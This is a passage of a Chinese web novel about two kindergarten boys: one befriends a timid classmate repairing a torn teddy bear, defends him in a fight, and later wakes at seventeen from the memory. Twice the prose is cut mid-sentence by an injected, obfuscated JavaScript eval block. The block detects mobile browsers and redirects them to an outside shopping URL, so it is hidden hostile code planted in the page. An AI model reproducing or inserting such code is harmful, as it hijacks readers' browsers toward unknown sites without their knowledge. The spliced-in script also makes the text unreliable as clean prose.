小桑群谨慎地贴住墙壁,观察了一会儿发现毫无动静。 他想了想,蹑手蹑脚地摸到男厕所门口探身。早些年的厕所很少安装隔间,只有便器和一条长长的粪坑池,站在门口就能一览无余。 没有人。 小桑群正奇怪,接着又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356284|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一声响动,似乎是从半开的窗户外传来的。 窗户对幼儿园的小朋友来说有点高,桑群借着旁边粪坑的台阶垫脚,斜着探头出去,想看看外面到底有什么。 然后他就看到了极其残忍恐怖的一幕。 一个戴着黄帽子的人坐在地上,怀里抱着一只棕色毛发的小动物,正把手钻进人家的肚皮里面掏心挖肺! 太可怕了,这是伪装潜入幼儿园的恐怖杀人犯吗? 小桑群强迫自己冷静下来,准备偷偷回去叫阿姨来抓坏人,却在下台阶的时候因为太紧张不小心踩空,“哎哟”了一声。 不好。 他又重新扒到窗边往下看,果然,刚刚那个坏人跑掉了! 怎么办、怎么办? 小桑群想回去跟老师阿姨告状,又担心自己被坏人盯上,还没回到午睡区就被杀人灭口。 在外面乱转的功夫,他果然被逮住了——被午休巡逻的保安抓住,扭送到阿姨面前。 小桑群松了口气,还好还好,没被坏人抓住,他暂时是安全的。 为了保住可贵的小命,他不得不为短暂的安全付出一点代价,比如对午睡擅自偷跑的恶劣行为在全班面前做出检讨。 下午玩游戏的时候,小桑群跑到置物柜边,从书包里面偷偷翻小零食吃。 然而就在这时,他突然发现自己的格子旁边隔了两个格子的格子里,赫然放着一顶眼熟的黄色帽子。 是、是那个杀人犯的嫌疑帽! 小桑群心里警铃大作,所以中午看到的那个人不仅就在自己的班级里,甚至还是个跟他一样的小屁孩?! 得知对方并不是凶神恶煞的大人,小桑群反而没那么害怕,更多的是好奇——他究竟在做什么呢?为什么要这样做? 为了解开谜团,小桑群偷偷考察了好几天教室楼房外的地形,确定了厕所窗户下面的空地的具体位置,并开始等待下一次遇见的机会。 如果对方跟他在一个班级,那他们的午睡区一定是同一个。那天中午溜出去前,他并没有去注意班级里其他人的状况,想来那个人一定是在自己之前偷偷溜出去的。 他被老师抓住做检讨,对方估计是怕自己也被抓住,所以这几天都没有再偷跑出去。 终于,这一天中午,小桑群像往常一样装睡,离自己不远处似乎有什么轻微的动静。 他偷偷睁开一条缝,隐约看见一个身影抱着肚子,悄悄走到阿姨旁边说了些什么。 阿姨点点头,放他出去了。 什么? 可恶,那个杀人犯居然是以这么光明正大的手段离开午睡区的吗? 劣迹斑斑的小桑群在心里痛斥这种令他羡慕嫉妒恨的行为,努力熬到阿姨在椅子上轻轻打起鼾,才像之前那样偷偷溜出去。 午休保安的巡逻路线也被他摸透了,小桑群一路畅通无阻地避开大人眼线,跑到楼房后面的空地边。 果然,一个戴黄帽子的小孩坐在地上,怀里依然抱着那个可怜的小动物。 太可怕了,他杀了几天还没杀完吗?居然还在折磨人家! 小桑群义愤填膺,在草丛边埋伏好,准备趁其不备冲上去抓住这个小坏蛋。 再想一句帅气的台词,对了,最近看的动画片里好像有一句“呔,妖怪,吃俺老孙一棒!”非常酷。 不过他不喜欢“俺”和“老孙”的表达,显得他特别土。 小桑群想了想,揪准时机,在对方埋下头要把手放进小动物肚皮里的时候,猛地跳出来,奋力扑倒这个杀人犯! “嘿,让我抓住了吧?” 在他钢铁般正义的铁掌下,凶手终于露出了真面目。 男孩长长的睫毛又湿又翘,眼尾泛红,分明刚刚哭过,此时表情十分呆滞,一看就是被吓的。 小桑群更懵。 怎、怎么是个小哭包? 7. 07 被不幸逮住的嫌疑孩回过神来,开始不停挣扎。 小桑群连忙按住他,压低声音威胁他:“别动,不然我就把你做的事情传出去。” 小男孩瞪圆眼睛,立时捂住嘴,摇摇头不再动弹。 小桑群纳闷,明明自己才是捉拿坏蛋的正义勇士,怎么比这坏人更像恶霸? 他指了指小男孩抱紧在怀里的受害者,质问:“你在谋杀它?” 闻言,小男孩连忙摇头,把怀里的东西亮给他看。 “没、没有……是救……” 小桑群这才看清,那根本不是什么小动物,而是一只肚子破了洞的棕熊玩偶。 什么嘛。 原来只是个偷偷修补玩偶的胆小鬼。 小桑群不屑:“……这有什么好修的,叫你爸妈重新买一只不就好了?” 小男孩睁着黑溜溜的眼睛看着他,眼眶里忽然就积起了泪水,大颗大颗地流下来。 见他嘴唇颤抖,似乎下一秒就要痛嚎出声,小桑群赶紧伸手捂住他的嘴,努力找补:“别、你别哭啊。嘘,嘘……啊呀,我帮你修,你别哭了!” 在小桑群的再三强调下,小男孩终于抑制住自己的哭声,捂着嘴坐在一边看这个忽然冒出来的恶霸怎么修他最心爱的小熊。 小桑群被赶鸭子上架,只好先仔细观察一下患者的状况。 小熊整只熊扁扁的,看起来很瘦弱,肚子底部靠近双腿之间的缝合线被拆开,露出大概小朋友拳头大小的洞,洞口还挂着一些没塞好的棉絮。 事已至此,先缝合吧。 没有接触过针线活但莫名自信的小桑群伸手:“针线。” “……” 小男孩看着他,疑惑歪头。 “没有?”手掌空荡荡的,小桑群皱眉,“那你在修什么?” 小男孩慢吞吞地把手伸进裤兜、衣兜、屁兜里面,然后陆续掏出了好多团棉花,拢了拢推到小桑群面前。 “塞、塞进去……” 小桑群:“……” 小破孩长这么大没如此无语过:“……你到底是怎么弄的,把人家棉花全掏了?” 见对方嘴巴一扁又要开哭,小桑群觉得哄小孩真的好麻烦——哪怕他自己也是个孩子——他尽量控制自己的语气,让它听起来没那么暴躁:“你不要哭,会帮你修好的,你哭我就不修了。” 小男孩抹了把眼睛,摇头表示自己很安分,不会乱哭。 小桑群指着小熊:“但是你得告诉我,怎么弄成这样的?不说我就修不好。” 小男孩揪着自己的袖子,小声道:“表哥……不喜欢圆圆,摔破了……圆圆不能出现在家里,我偷偷藏起来,分开,放幼儿园,不放家里……” 什么跟什么? 小桑群:“你叫圆圆?” 小男孩摇头,指着玩偶:“圆圆。” 熊叫圆圆,小桑群无语:“什么破名。” 小男孩解释:“团团圆圆,很好听的……” “那应该叫团团吧,”小桑群说,“塞满棉花就鼓起来了,一团玩偶,不是吗?圆圆……哪里圆了?” 小男孩呆呆的,小心抱起地上破碎的小熊,轻声问他:“圆圆……你喜欢团团这个名字吗?” 玩偶歪着脑袋,没有说话。 都多大了,还喜欢跟玩具对话,幼稚。小桑群在心里嫌弃着,然后走到小熊背后蹲下来,粗着嗓音道:“喜欢,以后我就叫团团了!” 小男孩吓了一跳:“圆……团团?你会说话?” “当然,”小桑群觉得小孩这都能被骗到,非常好玩,“以前我的力量被封印了,不能说话,但是刚刚勇士大人帮我解开了封印,从此以后他就是我们的恩人了,你要好好报答他!” “勇士大人?” 小桑群站起来走到他身边,换回自己的声音:“就是我。” 他拍了拍小胸脯,胸前别着的铭牌更加明亮了。 小男孩努力辨别上面的汉字,桑……不认识,下一个,第二个字好眼熟,但只认识一半…… 他点了点头:“嗯,阿……口羊哥哥。” 小桑群差点平地摔跤:“你叫我什么?” 小男孩指了指“桑”:“阿……” 又指了指群,发出了两个音:“口、羊……” “你怎么这么笨啊,这都不认识,”小桑群对自己的名字被叫错很不满,决定好好教育一下这个小笨蛋,“这个字念sang,这个是qun。桑——群——懂了吗?” 小男孩懵懵地点头:“阿,口……” “不是不是,念sang——” “阿……” “桑——” “阿……” 小桑群服了,决定下一个:“第二个字念qun。” 小男孩摇摇头:“两个字。” “……这是一个字。” 他坚持:“两个字。” 受不了了,小桑群把自己怒而分之,拆开怎么念来着:“那也应该叫君、羊!” 小男孩点头,学之:“君……羊。” 欸,这不是蛮聪明的嘛。桑群一鼓作气,又指了指“桑”字:“桑——” “阿——” “桑——君羊。” “阿——君羊。” “……” 敢情他只念自己乐意念的呗? 小男孩眨眨眼,期待地看着小桑群。 他觉得自己念得很标准,一定会被夸吧。 小桑群受不了被他这样看着,只好妥协:“……好吧,我叫阿君羊,嗯……你真厉害。” 把他自己都洗脑了。 小男孩难得破涕而笑,眼睛弯弯得像月牙。 小桑群愣了愣,这小孩……不哭的时候还挺可爱的。 “你叫什么名字?” “年年。” “我是问大名,全名。” 小男孩挠了挠头,把自己的铭牌亮给他看:“软……年年。” 小桑群凑近看了看,阮牧年,中间那个字不认识,但肯定不念nian,这小孩连自己的名字都不会念吗? 他尝试唤了一声:“软黏黏?” 年年高兴地“嗯”了一声。 小桑群嗤笑:“你这名字一点都不霸气。” 年年的眼神瞬间黯淡了。 “但但但,”小桑群冒汗找补道,“很好听,很、很可爱!” 年年的眼睛重新亮了起来。 “所以,”小桑群坐在他旁边,“是你表哥把团团弄坏的?为什么不找爸爸妈妈告状?让他赔你一只熊,就不用修了。” 年年沉默下来,想起小桑群不让他哭的警告,只好抱着膝盖低低地说:“爸爸妈妈……跟年年分开了,住表哥家,不能告状,要乖,重重熊掌。” 小桑群听得一知半解,最后那四个字是什么意思? 年年又强调了一遍:“是哥哥,所以重重熊掌。” 什么啊,他哥哥是熊掌吗? 等等,熊掌……兄长? 小桑群无语惯了:“……那个叫尊重兄长。” 年年点头:“重重熊掌。” “……” 不能跟笨蛋较真,小桑群挠了挠头,被父母抛弃了吗,他还真没见过这种情况,反正他的爸爸妈妈肯定不会轻易丢下他不管的,毕竟没人看着他会制造出很多麻烦。 或许年年的父母是坏蛋吧,故意丢弃小孩,又或者是因为年年自己不听话,所以才会被丢掉。 小桑群不知道这种情况怎么解决,不过看来从大人那里获得一只新玩偶的想法还是泡汤了。现在该怎么办,真去帮他修吗? 没有缝合,塞再多棉花也会掉出来,小哭包肯定不敢偷针线,不如……不如自己用小金库给他买只新的呢? 长这么大,桑群小朋友每年的新年红包和生日贺金都有收好,早就是一个小富翁了。 一只丑熊而已,不会贵到哪里去的。 这样想着,小桑群问:“团团是在哪里买的?” 年年:“我不知道……” 小桑群试图说服他:“告诉我在哪里买的,我就能把它修好。” 年年道:“真的,不知道……妈妈的礼物,没有爸爸妈妈,圆……团团就是爸爸妈妈。” 父母没有告诉他为什么他们要分开,也没有要带他走的意思,只有妈妈在离开前送给他一只玩偶,最后一次摸了摸他的脑袋。 “以后小熊就是爸爸妈妈,它会代替我们陪着你,不要难过,年年。” 可年幼的孩子并不知道他即将失去生命中第一件珍贵的东西,他听话地忍住眼泪,每晚都抱着小熊入睡,就像抱着爸爸妈妈一样。 小熊不会说话,不会笑,不会抱他、摸他、给他一个晚安吻,但年年爱着爸爸妈妈,也会爱着什么都做不了的小熊。 更何况,年年想,他们总会回来的吧。 怎么会有爸爸妈妈不要自己的小孩呢?总有一天他们会回来,抱起他和小熊,然后大笑着说真正的爸爸妈妈回来了,可以把小熊丢掉咯。 会有那么一天的。所以小熊不能坏,坏掉了也要修好,不然爸爸妈妈找不回来了怎么办。 “帮我修好团团吧,阿君羊哥哥,”年年抹了抹眼角,小心地抓住小桑群的衣角,“我会好好报答你的。” 小桑群哑言。 真难搞,但……小可怜蛋儿呆呆的,随随便便就能叫人给欺负了,还得他罩着。 “行吧,”小桑群勉为其难地答应了,“我想想办法,你……以后就做我的小跟班,知道吗?” 小跟班高兴地点点头。 那天之后,全班小朋友都知道小恶霸身后多了一个跟屁虫。 跟屁虫笨笨的,连自己的名字都念不全,却可以玩小恶霸的玩具,吃小恶霸的零食,还不可以欺负他,因为会被小恶霸揍。 老师和阿姨很欣慰,调皮蛋终于学会交朋友了;小桑群也有一点点开心,以前自己一个人玩很酷,现在旁边会有一个亮着眼睛夸他的小跟班,嗯……感觉还不赖。 周四下午是每周一次的场景游戏课,小朋友们可以到另一间屋子里选择喜欢的角色扮演玩耍。 游玩房间的角落是一家小型面包房,扮演面包老板、给其他小朋友顾客做面包是所有小朋友都喜欢的角色。但是今天,在小恶霸再三强(威)调(胁)下,其他小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356285|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朋友不得不把这个人气位置让给年年。 年年第一次做面包老板,他手忙脚乱地穿上烘焙围裙,绑带系得乱七八糟的——最后是小桑群一脸嫌弃地帮他系好——端着塑料小盘子,紧张地迎接新顾客。 有人要小面包,有人要草莓蛋糕,有人要牛奶馅饼,年年在小台子前忙得晕头转向,差点把牛奶蛋糕和草莓馅饼端出去,小桑群狠狠敲了一下他的脑袋,然后把塑料食物重新组合好,让他端出去。 好难啊,年年没做几单就已经累得流汗,但听见每一位离开的顾客都会对他说一声谢谢,心情瞬间就好了许多。 面包店的生意很火热,直到旁边的小剧场开业了,扮演小丑和魔术师的小朋友开始表演节目,大家都跑去围观,年年这才歇下来。 “哼,做得还行,”小桑群在他旁边坐下,指挥年年给他做一个巧克力慕斯,说,“不然天天躲在我身后,搞得好像我欺负你似的。” 年年把塑料巧克力放进蛋糕模子里,却迟迟不动弹,眼睛不断往小剧场那边瞄。 小桑群皱眉:“还没做好吗?” 年年把蛋糕递给他,小声说:“阿君羊哥哥,我想看表演。” 小桑群不以为意:“那下次你上去扮小丑。” 年年摇摇头:“看看就可以了,我不会表演。” 小桑群:“这有什么好看的,电视上有很多。” “我没看过……”年年坐在小凳子上,目光依然飘在远处,“你去过那种新年的庙会吗?据说会有很好看的焰火和杂技表演,可是我太矮了,每次都看不到。” 小桑群不太理解:“叫大人把你抱起来看啊。” 年年抿了抿唇,看了看周围,才凑到小桑群耳边轻声说:“……我是偷偷跑出去看的。爸爸妈妈很忙,不能让他们担心,所以很快回来,不能待太久。” 小可怜儿,小桑群拍了拍他的脑袋:“那你下次去我家看,我家有大电视,上面表演比你没看到的那些还要多呢。” 年年瞪圆眼睛:“可、可以吗?” “这有什么的,”小桑群得意道,“我妈妈做饭特别好吃,你吃完就吃不下阿姨做的饭了!” 年年舔了舔嘴唇,阿姨做的饭已经很好吃了,比他在表哥家吃的还要好吃,那桑群妈妈做的饭得有多么美味呀。 他点点头:“好,我想去。” 小桑群想了想:“那你这周末来我家,我妈妈会修团团。” 妈妈有针线,一定会修小熊。他和年年这几天陆陆续续把小熊的棉花填满,就差缝起来了。 年年有点为难:“团团现在变得好大,我的书包和衣服都装不下它了。” 之前他塞棉花,是把扁扁的小熊藏进衣服里面,抱在肚子上,现在已经完全塞不进去了。 “我的书包很大,可以装得下,”小桑群给他出主意,“我的画画本和零食就放你书包里。” 年年点头:“好!” 然而他们的小计划没能顺利实现。 表演结束后,又有新的顾客过来买面包。 小壮是班上讨厌小桑群的人之一,面对被小恶霸罩着的年年,他毫不客气地掀翻对方做好的芒果馅饼,粗声粗气道:“我要的是牛奶馅饼,你怎么连这个都能搞错?” 年年试图解释:“可你刚刚明明说的是芒果馅饼……” “那是你听错了,我说的就是牛奶馅饼,”小壮推了年年一把,“这都做不好还当面包老板,蠢货。” 年年没站稳,一屁股摔在了地上。 好痛好痛,可好像是他先做错了,舅妈说做错事要跟人家道歉,不然就是没有礼貌的坏孩子。 小桑群本来躲在操作台后面偷吃小零食,听到动静转过头,发现他的小可怜居然被人欺负了。 他生气地丢下零食走过去,推了一把小壮:“你干嘛!” “我干嘛?”小壮理直气壮,“他把我的牛奶馅饼做成了芒果馅饼,不应该道歉吗?” 年年不是坏孩子……他挣扎地爬起来想要说对不起,却看着小壮的脸从自己眼前消失。 小桑群一脸戾气地把人推倒,居高临下道:“那你把年年推倒,不应该道歉吗?” 他把胆小鬼年年拉到身边,指着小呆瓜对小壮说:“道歉。” 年年欲哭无泪:“对、对不起……” 小桑群无语,赶紧捂住他的嘴:“没叫你道歉,说什么呢。” 小壮的屁股蛋也痛,但气势不能输,他不服气道:“你也把我推倒了,为什么不道歉?” “对不起,”小桑群把这三个字说得好像“你欠我”似的,又强调了一遍,“跟年年道歉。” 小壮不干,小桑群按住他的腿把人骑在身下,然后对年年道:“年年,揍他。” 年年不敢,声音快要哭了:“是我做错了,对不起呜对不起……你们不要打架,不要……” 小桑群抓着他的手想要把人拉过来:“他欺负你,还不道歉,为什么不打回去?打他!” 年年摇着头往后缩,居然挣脱了小桑群的手。 小桑群只觉得非常恼火,不打是吧?行,他来当那个坏人。 他一拳砸在了小壮胳膊上。 8. 08 小壮嗷呜一声哭了出来,蹬开压在身上的恶霸,边哭边说:“我要去跟老师告状,你们合伙欺负人!呜呜给我等着,你们完蛋了!” 他一路哭着跑开了。 年年很害怕,去拉小桑群的衣角:“怎么办,老师会骂我们的……” 小桑群没有看他,只是把他的手甩开了:“你又没打人,怕什么。” 年年看着他没什么表情的侧脸,忽然意识到,那个总是嘴硬心软罩着他的勇士哥哥,好像有点生气。 不,应该是非常生气。 老师和阿姨很快赶过来。 虽然小壮嘴上说是两人合伙欺负他,但年年的样子一看就知道他是被小桑群这个小坏蛋牵扯进来的。 最后动手打人的小恶霸被剥夺游玩资格,送到教室独自反省,直到放学才能出来。 小桑群没少被惩罚过,并不在乎。就是刚拆的小零食还落在面包店后面,又不能当着老师阿姨的面带到教室,好可惜。 没过一会儿,教室的门被人推开。也许是阿姨过来监督他有没有好好反省吧,小桑群坐在自己的位置上,趴桌上没动。 一道怯生生的嗓音在他脑后响起,熟悉得让人上火:“阿、阿君羊哥哥,你还好吗?” 怎么是这个笨蛋?小桑群没回头,很不爽地问:“你怎么来了?” “是因为我,你们才会打起来,”年年说,“我跟老师说,我也应该反省的,所以就过来……” 简直是听不下去了,小桑群猛地抬头,第一次吼他:“你为什么总在道歉?你到底有什么错?” 年年愣了愣:“我、我弄错了他点的面包……” “他是故意的,你没听出来吗?”小桑群恨铁不成钢,“我都听到了,他一开始说的就是芒果馅饼,你根本没有做错!他说错了你就错了?阮不年,你就没有一点主见吗?” 年年弱弱道:“是阮牧年……” 前不久老师教大家写自己的名字,年年终于知道这三个字怎么念了。 “这不重要!”小桑群拍了一下课桌,“你现在的样子真的非常讨厌,像个扁扁的漏气气球!别人说你错了你就道歉,别人打你一巴掌你是不是还要叫好?你知道你为什么老被欺负吗?你知道团团为什么会被弄坏吗?因为你表哥一直在欺负你!他说团团在家里太占地方,可它每天就呆在你的床上,能妨碍到谁?只有你这个笨蛋,还傻乎乎地相信他的话!” 年年被他吼得不敢抬头,缩着脖子:“可、可团团确实很大,舅妈也说它很占地方……” “我爸爸给我买了好几个机器人,加在一起比团团还大,但我妈妈从来没说它们占地方,”小桑群抓着小笨蛋的肩膀,“他们就是在欺负你,你应该反抗,而不是听他们说什么就是什么!” “可我惹他们不高兴了,难道不是我做错了吗,”年年抬起脸,眼睛红红的,已经开始积攒泪水,“我怎么知道自己是对的还是错的?万一就是我做错了呢?如果我没有做错,为什么他们要说我做错了?” “如果你觉得自己没有做错,就不需要对任何人道歉。如果他们还是说你做错了,”小桑群顿了顿,还是说了出来,“那只是因为他们讨厌你,所以不管你做的对不对,他们都会说你做错了。” 年年看着他,眼泪无声地流了下来:“连舅妈和表哥都讨厌我吗?” “呃,我不是那个意思……” “那是不是没有人喜欢我?所有人都讨厌我,那,那我做什么事,都是错的,对吗?” 温热的泪水止也止不住,刚满四岁的年年忽然就明白了很多事。 原来是因为不喜欢他,爸爸妈妈才会离开。原来世界上真的有不要孩子的父母,或许他成为他们的孩子本就是一个错,所以才会被丢下。 原来是舅妈讨厌他,才会把他从家里赶到幼儿园,连周末也要托管。 原来是表哥讨厌他,才会把团团摔坏,让他晚上睡不好觉。 原来是小壮讨厌他,才会把盘子掀翻,说他做的很糟糕。 那么……阿君羊呢?应该也是讨厌他的吧,毕竟刚刚就亲口承认了,还忍无可忍地开口凶他,抓得他肩膀很疼。 悲哀如同冲破堤岸的河水,令他想不顾一切地逃离这个令人窒息的空间。 小桑群第二次发现年年居然有这么大的力气,可以猛地从他手里挣脱掉。 小哭包转头就跑,小桑群着急地追过去抓他:“等等,年年……” 眼看就要被抓住,年年半旋身想要把他甩开,却不料动作幅度太大,竟是一巴掌把小桑群扇到旁边的课桌上。 哐当一声巨响。 小桑群瞬间皱眉抱起脑袋,年年吓了一跳,嘴里下意识道歉:“对、对……” 为什么要道歉?这个想法顿时在脑海浮现,紧接着响起小桑群刚刚说过的话,一遍遍循环。 就是这个坏蛋让他发现最令人悲伤的事实,既然阿君羊也讨厌他,还不道歉,那他打他一下有什么大不了的? “对,”年年瞪着他那双哭得红通通的大眼睛,凄惨相里竟然能看见一丝狠厉,“我就是要打你一顿,叫你凶我骂我还说难听的话!阿君羊是大坏蛋,我比你讨厌我更讨厌你!” 他咬着牙,从衣兜里掏出捡来要还给小桑群的零食,狠狠砸过去。 准头很差,零食袋砸在小桑群脚边,洒了一地。 小桑群眨着眼睛,似乎还没回过神来。 这家伙,总是在软软弱弱地讨好别人,原来喊起来是这动静。 小桑群晃了晃脑袋,趁年年犹疑着要不要过去查看一下他的伤势的时候,骤然扑过去将要逃跑的人抱住。 这次他没再小看这呆瓜,用了十足的力气,年年果然没挣开。 勒得好紧,年年屏着呼吸:“干嘛,好紧……” “你别乱跑,”小桑群在他背后压低声音,听上去竟有些温柔的错觉,“我慢慢放松,不勒你,你不要跑,转过身来好不好?” 这坏蛋又要干什么? “不是要骂你凶你,你不要担心。” 他才不怕,算了,给这混账最后一次机会。 年年不情不愿地转过身,跟混蛋面对面。 离这么近干嘛,用口臭攻击他吗? ……当然不是,小桑群没有口臭,他一直知道。 小男孩哭过的眼尾还泛着红,就在刚刚,他用这辈子难得一次的勇气冲撞了唯一交付真心的朋友。 小桑群看着他,居然笑了。 这家伙在搞什…… 年年整个人瞬间呆住,因为那个抱着他笑的坏蛋忽然踮起脚,轻轻地在他额头上亲了一下。 “做得好,年年。”小桑群笑着说。 年年感觉脸蛋烫烫的:“你、你干什么……陌生人不能随便亲亲的……” “我是陌生人吗?” “呃,”年年努力想了想,这么做明明很不对啊,“两个人亲亲是要结婚的,像爸爸妈妈那样。” “男孩子和女孩子才会结婚,”小桑群说,“亲亲是在奖励你,就像老师会奖励我们小红花一样。我没有小红花,只能亲一亲你了。” “奖、奖励?” “嗯,”小桑群重重点了点头,还抱着他,“就像刚刚那样。我凶你了,说让你难受的话了,你就应该骂回来打回来,这样才对。” “可你不是讨厌我吗?” “我讨厌那个总是说对不起的年年,”小桑群抱着他晃了晃,说,“但是现在的年年很勇敢,我喜欢。” 年年觉得鼻子酸酸的,他回抱住小桑群,说:“我、我也没有特别讨厌你。凶凶的阿君羊很讨厌,但现在的阿君羊很好。” “不是说我是大坏蛋吗?” “我那是、那是……” 年年想解释一下,却嘴笨得说不出话,小桑群在他背后拍了拍:“我知道。没关系的。” 年年吸了吸鼻子,胡乱去摸小桑群的脑袋:“你、你摔得疼不疼啊。” “好疼,感觉脑袋要裂掉了。” “啊?” 年年被他吓了一跳,连忙捧起这颗玻璃脑袋小心地查看:“是我太用力了呜,对、对不……” 小桑群捂住他的嘴:“逗你的,不许道歉。” 男孩长长的睫毛上还挂着泪珠,眨动间掉落,滴在小桑群手上。 “努,努咚奥哗到惹……” 年年口齿不清地说。 小桑群叹了口气:“没有坏掉,我有铁头功,不会轻易受伤的。” “铁头功?” “就是脑袋非常坚硬的意思,”小桑群告诉他,“这样天塌下来,就有阿君羊替你挡着了。” “天、天会塌下来?” “谁知道呢,”小桑群挠了挠头,看着年年呆呆的样子,又想吓他,“说不定哪天就砰——的一声掉下来了!” 然而年年没有被吓到,反而坚定地摇了摇头:“年年不矮,阿君羊累的时候,换年年保护你。” 横行霸道惯了,第一次有父母以外的人说要保护他,小桑群有些惊讶,伸手捏了捏年年软软的脸蛋:“你软软的,怎么保护别人?” 年年伸出手,紧紧地抱住小桑群:“就像这样,塑料袋也是这样保护小零食的。” 啊,零食。 小桑群想起自己洒了一地的零嘴们,有点心疼,但怀里有个更叫人心疼的,好吧,算了算了。 两个小蛋糕抱着说了好一会儿话,才分开去把地面收拾干净。 小零食掉得满地都是,年年甚至要爬到桌子底下去捡。好不容易收拾好,两人都有点流汗。 年年抬起胳膊想要擦一擦额头,但手举到半空又放了下去。 小桑群:“怎么了?” “头上有阿君羊的亲亲奖励,”年年顶着脑门上的薄汗,说,“不能擦掉。” 小桑群愣了愣,走过来帮他擦掉汗,然后又补了一个亲亲。 “擦掉也没关系,”小桑群拍拍年年的小脑袋,“可以找我补上去。” 年年红着脸点了点头。 没过多久,下课铃声响了。老师一脸严肃地来到教室,对手拉手的两个小捣蛋鬼说:“桑群小朋友,待会儿你妈妈亲自来接你,不要乱跑。” 妈妈? 平时都是阿姨送他回家,今天怎么变成妈妈了? 老师接着说:“你下午打了小壮,他妈妈很生气,要跟你妈妈谈一谈。你也是,老师说了多少遍不要随便打人……” “他跟他妈妈告状了?”小桑群拧着眉,“是他先把年年推倒在地上,怎么可以大鹅先告状!” 老师:“……是恶人先告状。” 年年鼓起勇气站出来:“老师,确实是小壮先推我的。他说我做错了他的馅饼,但是我说我明明没有做错,他就很生气地推我。” 小桑群补充道:“年年就是没有做错,我都听到了,小壮他就是故意的!” 老师有点头疼,这俩孩子下午怎么不早点讲清楚:“那小壮说你把他按在地上打,又是怎么回事?” “我想把他按在地上,让年年打回去,”小桑群哼了一声,“胆小鬼年年不敢打,那我就帮他打。” 年年悄悄拉了拉小桑群的手,怎么可以在老师面前说自己的坏话! 看着如胶似漆的两块小黏糕,老师叹了口气 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“哇,”年年惊喜,“真的可以吗?” “当然,”团团骄傲地说,“我的肚肚里有很多棉花,就像躺在棉花云朵糖上一样舒服。” “棉花云朵糖是什么?” 团团:“一种只有在天上才能吃到的糖果,比阮年年还要软。” “啊?”年年问,“地上吃不到吗?” 团团:“吃不到。天上有个地方叫天堂,在那里才能吃到。” 年年似懂非懂:“那年年得努力长大,和阿君羊一起去天堂吃糖。” “哎呦,这就约定好下辈子了吗?” 一道明快好听的陌生女声响起,打扮时髦又不失优雅的女人从教室门外走进来,笑着打趣两个小朋友。 小桑群眼睛一亮:“妈妈!” 年年也看了过去。 那就是阿君羊的妈妈吗?好漂亮哦,不像是煮饭特别好吃的样子,但给人感觉非常亲切。 “小坏蛋,又让你妈妈被老师教训,”桑母弹了小桑群一个脑瓜崩,然后转向年年,“没想到这小子还能交到愿意维护的朋友,小朋友,你叫什么名字呀?” 年年有点紧张:“我、我叫阮不年……不对,是阮、阮年……” 小桑群在旁边说:“他叫阮年年啦。” 年年赶紧摇头:“不是不是,是阮牧年……” 欸,念对了。 桑母把自家小孩推远了一点:“你不要捣蛋,影响我们说话。” “是年年呀,”桑母转头,对年年非常温柔可人地笑了出来,“真可爱。桑群这小子平时有没有欺负你啊?你要是受了委屈千万要告诉阿姨,阿姨帮你揍他!” “没有没有,”不能让阿君羊挨揍,年年把脑袋摇得像拨浪鼓,说,“阿君羊很好的,对年年很好。” 桑母挑了挑眉:“阿君羊?” “就是我,”小桑群又凑过来,“我现在就叫阿君羊,妈妈也要跟着叫,知道吗?” 桑母默读了几遍,想到是哪两个字后忍不住笑了。 “好呢,”她摸了摸两个小甜糕的脑袋,问,“那年年着急回家吗?要不要来阿君羊家里玩呀?” 诶? 本来计划周末去小桑群家的两个小朋友都愣了愣,年年很心动,但不得不说:“老师说,阿姨晚一点会来送我回家……” 桑母:“你可以打个电话问问家里的意见呀,阿姨借你。” 年年怔了怔,小桑群在一旁冲他点头,他犹豫着道:“我……我不记得号码了,我去问问老师吧。” 其实他一直记得爸爸妈妈的电话,只是没有一次接通。舅妈不喜欢被打扰,有什么事老师会说,他也就没去记舅妈家的电话了。 老师帮他联系了舅妈,年年不知道怎么说,最后是桑母帮他跟舅妈沟通完,然后笑着告诉两个孩子:“年年可以来我们家玩啦。” “太好啦!” 小桑群高兴地拉住年年的手,年年也低着头笑。 这是他们迄今为止的人生中最快乐的时候,年年第一次见到小桑群说的大电视、机器人和更多没听过的新奇东西。阿君羊的爸爸妈妈都是很好很好的人,他们笑着、打趣着,在宽敞明亮的餐厅里共进晚餐。 桑母说,年年今晚可以住在家里,明天一起去学校。 于是,年年第一次换上了全新的鹅黄太阳睡衣,也是第一次在睡觉的时候,怀里不是沉默寡言的小熊玩偶,而是另一个同样温热的身体。 这同样也是桑群迄今为止最快乐的一段日子。 美满的家庭、明理的师长,还有知心相交的好朋友。 童年的色彩是清透明丽的浅绿色,天空永远蔚蓝,小鸟永远欢啼。 父母在朦胧的光线里笑着,老师和阿姨还是忍不住对他摇起头,身后总是跟着一条小尾巴,后来成了他牵在手里的好朋友。 真是难得的美梦啊。 ……梦? 逐渐意识到什么,桑群慢慢睁开眼,初升的曦光从窗帘的缝隙间钻出,爬到地板上,屋内光线微亮。 锁骨处仿佛还留有湿润的触感,怀里却早已空空如也。 他揉了揉眼睛下床,经过客厅,听见厨房里传来轻响。 十七岁的年年唇红齿白,一双明眸笑意盎然,腰间系着围裙,从门内探出半身跟他打招呼。 “早啊,早餐快好啦。” 褪色的美梦幻影彻底消散,桑群站在晨光里,眼前是这些年唯一没有变过的人。 然后他笑了笑,说:“早。” 9. 09 洗漱过后,桑群坐在了沙发上。 